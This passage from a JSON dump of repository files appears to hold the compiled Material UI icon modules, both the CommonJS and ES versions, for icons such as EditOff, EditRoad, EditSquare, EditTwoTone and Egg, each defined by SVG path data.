    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 14.2-.8.8h-4.6v-4.6l3.68-3.68C13.64 6.26 12.85 6 12 6c-2.21 0-4 1.79-4 4v7h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09l-1.43 1.43C13.64 6.26 12.85 6 12 6c-2.21 0-4 1.79-4 4v7h8v-2.8zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}, \"1\")], 'EditNotificationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 14.2-.8.8h-4.6v-4.6l3.68-3.68C13.64 6.26 12.85 6 12 6c-2.21 0-4 1.79-4 4v7h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09l-1.43 1.43C13.64 6.26 12.85 6 12 6c-2.21 0-4 1.79-4 4v7h8v-2.8zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}, \"1\")], 'EditNotificationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.126 8.125 1.937-1.937 3.747 3.747-1.937 1.938zM20.71 5.63l-2.34-2.34a1 1 0 0 0-1.41 0l-1.83 1.83 3.75 3.75L20.71 7a1 1 0 0 0 0-1.37M2 5l6.63 6.63L3 17.25V21h3.75l5.63-5.62L18 21l2-2L4 3z\"\n}), 'EditOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.126 8.125 1.937-1.937 3.747 3.747-1.937 1.938zM20.71 5.63l-2.34-2.34a1 1 0 0 0-1.41 0l-1.83 1.83 3.75 3.75L20.71 7a1 1 0 0 0 0-1.37M2 5l6.63 6.63L3 17.25V21h3.75l5.63-5.62L18 21l2-2L4 3z\"\n}), 'EditOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.06 9.02.92.92-1.11 1.11 1.41 1.41 2.52-2.52-3.75-3.75-2.52 2.52 1.41 1.41zm6.65-1.98c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2.81 2.81 1.39 4.22l7.32 7.32L3 17.25V21h3.75l5.71-5.71 7.32 7.32 1.41-1.41zM5.92 19H5v-.92l5.13-5.13.92.92z\"\n}), 'EditOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.06 9.02.92.92-1.11 1.11 1.41 1.41 2.52-2.52-3.75-3.75-2.52 2.52 1.41 1.41zm6.65-1.98c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2.81 2.81 1.39 4.22l7.32 7.32L3 17.25V21h3.75l5.71-5.71 7.32 7.32 1.41-1.41zM5.92 19H5v-.92l5.13-5.13.92.92z\"\n}), 'EditOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.1 3.51c-.39.39-.39 1.02 0 1.41l6.61 6.61-5.56 5.57q-.15.15-.15.36v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15l5.56-5.56 6.61 6.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.52 3.51c-.4-.39-1.03-.39-1.42 0m18.61 3.53c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75zm-9.1747 1.6697 2.5173-2.5173 3.7477 3.7477-2.5173 2.5173z\"\n}), 'EditOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.1 3.51c-.39.39-.39 1.02 0 1.41l6.61 6.61-5.56 5.57q-.15.15-.15.36v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15l5.56-5.56 6.61 6.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.52 3.51c-.4-.39-1.03-.39-1.42 0m18.61 3.53c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75zm-9.1747 1.6697 2.5173-2.5173 3.7477 3.7477-2.5173 2.5173z\"\n}), 'EditOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 6.33-3.75-3.75-2.53 2.54 3.75 3.75zM1.39 4.22l7.32 7.32L3 17.25V21h3.75l5.71-5.71 7.32 7.32 1.41-1.41L2.81 2.81zm16.42 5.72-3.75-3.75-2.52 2.52 3.75 3.75z\"\n}), 'EditOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 6.33-3.75-3.75-2.53 2.54 3.75 3.75zM1.39 4.22l7.32 7.32L3 17.25V21h3.75l5.71-5.71 7.32 7.32 1.41-1.41L2.81 2.81zm16.42 5.72-3.75-3.75-2.52 2.52 3.75 3.75z\"\n}), 'EditOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18.08V19h.92l5.12-5.12-.92-.92zm9.06-9.06-1.11 1.11.92.92 1.11-1.11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.06 9.02.92.92-1.11 1.11 1.41 1.41 2.52-2.52-3.75-3.75-2.52 2.52 1.41 1.41zm6.65-1.98c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2.81 2.81 1.39 4.22l7.32 7.32L3 17.25V21h3.75l5.71-5.71 7.32 7.32 1.41-1.41zM5.92 19H5v-.92l5.13-5.13.92.92z\"\n}, \"1\")], 'EditOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18.08V19h.92l5.12-5.12-.92-.92zm9.06-9.06-1.11 1.11.92.92 1.11-1.11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.06 9.02.92.92-1.11 1.11 1.41 1.41 2.52-2.52-3.75-3.75-2.52 2.52 1.41 1.41zm6.65-1.98c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2.81 2.81 1.39 4.22l7.32 7.32L3 17.25V21h3.75l5.71-5.71 7.32 7.32 1.41-1.41zM5.92 19H5v-.92l5.13-5.13.92.92z\"\n}, \"1\")], 'EditOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.06 9.02.92.92L5.92 19H5v-.92zM17.66 3c-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29m-3.6 3.19L3 17.25V21h3.75L17.81 9.94z\"\n}), 'EditOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.06 9.02.92.92L5.92 19H5v-.92zM17.66 3c-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29m-3.6 3.19L3 17.25V21h3.75L17.81 9.94z\"\n}), 'EditOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoad');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoad');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4c-.55 0-1 .45-1 1v6.9l2-2V5c0-.55-.45-1-1-1M5 20c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1m6-12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m11.56-7.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73v2.77c0 .28.22.5.5.5h2.77l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4c-.55 0-1 .45-1 1v6.9l2-2V5c0-.55-.45-1-1-1M5 20c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1m6-12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m11.56-7.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73v2.77c0 .28.22.5.5.5h2.77l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}), 'EditRoadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.55 17.42v1.03h1.03L20.03 15 19 13.97z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}, \"1\")], 'EditRoadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRoadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.55 17.42v1.03h1.03L20.03 15 19 13.97z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h-2v7.9l2-2zM4 4h2v16H4zm6 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm12.56-3.41-1.15-1.15c-.59-.59-1.54-.59-2.12 0L14 16.73V20h3.27l5.29-5.29c.59-.59.59-1.54 0-2.12m-5.98 5.86h-1.03v-1.03L19 13.97 20.03 15z\"\n}, \"1\")], 'EditRoadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'EditRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'EditRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'EditSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'EditSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditSquare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17V9.93L13.93 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8.93L14.07 17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15h4.24l7.2-7.2-4.24-4.24-7.2 7.2zM22.91 2.49 21.5 1.08c-.78-.78-2.05-.78-2.83 0l-1.06 1.06 4.24 4.24 1.06-1.06c.79-.78.79-2.05 0-2.83\"\n}, \"1\")], 'EditSquare');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditSquare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17V9.93L13.93 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8.93L14.07 17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15h4.24l7.2-7.2-4.24-4.24-7.2 7.2zM22.91 2.49 21.5 1.08c-.78-.78-2.05-.78-2.83 0l-1.06 1.06 4.24 4.24 1.06-1.06c.79-.78.79-2.05 0-2.83\"\n}, \"1\")], 'EditSquare');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75zM3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92z\"\n}, \"1\")], 'EditTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75zM3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92z\"\n}, \"1\")], 'EditTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Egg.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.5 3 5 9.33 5 14c0 3.87 3.13 7 7 7s7-3.13 7-7c0-4.67-3.5-11-7-11m1 15c-3 0-5-1.99-5-5 0-.55.45-1 1-1s1 .45 1 1c0 2.92 2.42 3 3 3 .55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'Egg');"
  },
  {
